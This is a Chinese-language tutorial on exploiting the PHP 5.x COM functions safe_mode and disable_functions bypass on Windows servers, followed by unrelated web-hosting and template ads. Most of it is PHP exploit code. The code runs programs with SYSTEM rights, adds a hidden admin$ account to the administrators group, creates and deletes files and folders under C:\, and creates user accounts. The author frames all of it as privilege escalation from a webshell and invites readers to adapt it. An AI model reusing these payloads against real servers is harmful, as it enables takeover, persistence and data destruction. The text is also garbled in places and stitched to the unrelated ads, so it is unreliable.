PHP 5.x COM functions提权漏洞的利用分析
PHP是英文“超级文本预处理语言” Hypertext Preprocessor的缩写是一种HTML内嵌式的语言。它可以比CGI或者Perl更快速地执行动态网页。PHP具有非常强大的功能所有的CGI或者JavaScript的功能 PHP都能实现支持几乎所有流行的数据库以及操作系统。 近期功能如此强大、运用如此广泛的PHP却出现了重大漏洞也就是PHP 5.xCOM functions safe_mode and disable_function bypass漏洞。它可以实现提权这是很多朋友们所梦寐以求的。下面我们先来总体介绍一下漏洞 由于本人水平有限请大家原谅不准确的地方。 漏洞所用到的COM函数只在Windows环境下的PHP才存在 .net的支持需要PHP5以及.net Runtime。漏洞所利用的函数无需特殊安装是PHP内核的一部分。Windows环境下的PHP默认支持这些扩展不用额外加载其他扩展来调用漏洞函数。
现在部分大中型网站都喜欢用PHP+Apache+Windows来架设这样的话 PHP漏洞的打击面就会很大了特别是在现在提权越来越难的形势下我想很多服务器会因为这个漏洞而沦陷的。 根据漏洞发现者公布的内容漏洞的利用要求php. ini中有如下设置。我的测试环境为PHP5.2.3+Apache2.2.3+Windows XP SP2在我的测试当中发现并不一定要严格按照这样配置大家可以自己测试一下看看。safe_mode=On
disable_functions=com_load_typel ibopen_basedir=htdocs
下面我们就逐一看看这个漏洞的内容与利用。compatUI .dl l中的RunAppl ication函数
这个漏洞的测试代码如下。
<?php
$compatUI=newCOM('{A-7F23-47E2-B7C3-97EE8DD42CD8}');
//加载compatUI .dl l $compatUI->RunAppl ication("something", "notepad.exe", 1);//运行记事本
?>
将其保存为PHP文件放到服务器上然后用IE访问就可以了。运行后IE是没有什么回显的如图1所示但实际上记事本已经运行了而且是SYSTEM权限 因为它是由系统服务来运行的所以继承了SYSTEM权限如图2所示。
利用这个漏洞我们可以运行已经上传好的木马实现WebShel l的提权。当然如果你足够无聊的话还可以写成循环让服务器运行很多记事本实现D.O.S。
Wscript运行命令
这个漏洞的测试代码如下。
<?php
$wscript=new COM('wscript.shel l '); //要用到wscript.exe
$wscript->Run("cmd.exe/c calc.exe");//运行calc.exe
?>
访问该脚本后服务器上出现了SYSTEM权限的calc.exe进程如图3所示。我们只要发挥一下想象力修改一下脚本就能加个管理员账户了具体代码如下。
<?php
$wscript=new COM('wscript.shel l ');$wscript->Run("cmd.exe/c net user admin$/add");$wscript->Run("cmd.exe/c net localgroup administrators admin$/add");
?>
访问该脚本之后即可添加管理员成功这对SYSTE M权限来说简直就是噩梦如图4所示
wshom.ocx中的OpenTextFi le
OpenTextFi le可以用于创建一个文件其中存在的漏洞的测试代码如下。
<?php
$mPath=str_repeat(". .\\",20);
$FSO=new COM('Scripting.Fi leSystemObject');//用到了wshom.ocx
$FSO->OpenTextFi le($mPath."bat.bat",8, true); //在服务器上创建文件虽然这个函数是用来打开文件的但是文件不存在就被创建了
?>
果然在C区根目录出现了这个批处理文件bat.b at如图5所示
wshom.ocx中的DeleteFi le
这个函数可以删除服务器上的文件大家要小心使用测试代码如下。<?php
$mPath=str_repeat(". .\\",20);
$FSOdelFi le=new COM('Scripting.Fi leSystemObject');
//利用了ws h o m.o cx
$FSOdelFi le->DeleteFi le($mPath.".\\*.dat",True);
//删除C区根目录的所有d at文件?>wshom.ocx中的DeleteFolder
利用这个函数可以删除服务器上的文件夹很恐怖哦。测试代码如下<?php
$mPath=str_repeat(". .\\",20);
$FSOdelFolder=new COM('Scripting.Fi leSystemObject');
//使用ws h o m.o cx
$FSOdelFolder->DeleteFolder($mPath.".\\1 1",True);
//删除特定的文件夹
?>
访问之后成功删除了c:\11这个文件夹。
shgina.dl l中Create函数创建账户
这个漏洞的测试代码如下
<?php
$user=new COM('{60664CAF-AF0D-0004-A300-5C7D25FF22A0}');
//利用shgina.dl l$user->Create("asd");
//创建账户asd
?>
不过这里要注意一下利用这个漏洞创建的账户只是属于users组的如图6所示
关于PHP 5.xCOM functions漏洞的利用就为大家介绍到这里了测试代码已经随文提供大家根据自己的需要进行适当修改即可。不过提醒大家一下 以上几个漏洞的利用前提是我们已经有了WebShel l 之后才可以上传用于提权的脚本切记哦
WordPress专业外贸企业网站搭建模版,特色专业外贸企业风格 + 自适应网站开发设计 通用流行的外贸企业网站模块 + 更好的SEO搜索优化和收录 自定义多模块的产品展示功能 + 高效实用的后台自定义模块设置!采用标准的HTML5+CSS3语言开发,兼容当下的各种主流浏览器: IE 6+(以及类似360、遨游等基于IE内核的)、Firefox、Google Chrome、Safari、Opera...
ThomasHost域名注册自2012年,部落最早分享始于2016年,还算成立了有几年了,商家提供基于KVM架构的VPS,数据中心包括美国、法国、英国、加拿大和爱尔兰等6个地区机房,VPS主机套餐最低2GB内存起步,支持Windows或者Linux操作系统,1Gbps端口不限制流量。最近商家提供了一个5折优惠码,优惠后最低套餐月付5美元起。下面列出部分套餐配置信息。CPU:1core内存:2GB硬...
香港最便宜的vps要多少钱?最便宜的香港vps能用吗?香港vps无需备案,整体性能好,而且租用价格便宜,使用灵活,因为备受站长喜爱。无论是个人还是企业建站,都比较倾向于选择香港VPS。最便宜的香港vps能用吗?正因为有着诸多租用优势,香港VPS在业内颇受欢迎,租用需求量也在日益攀升。那么,对于新手用户来说,香港最便宜的vps租用有四大要点是务必要注意的,还有易探云香港vps租用最便宜的月付仅18元...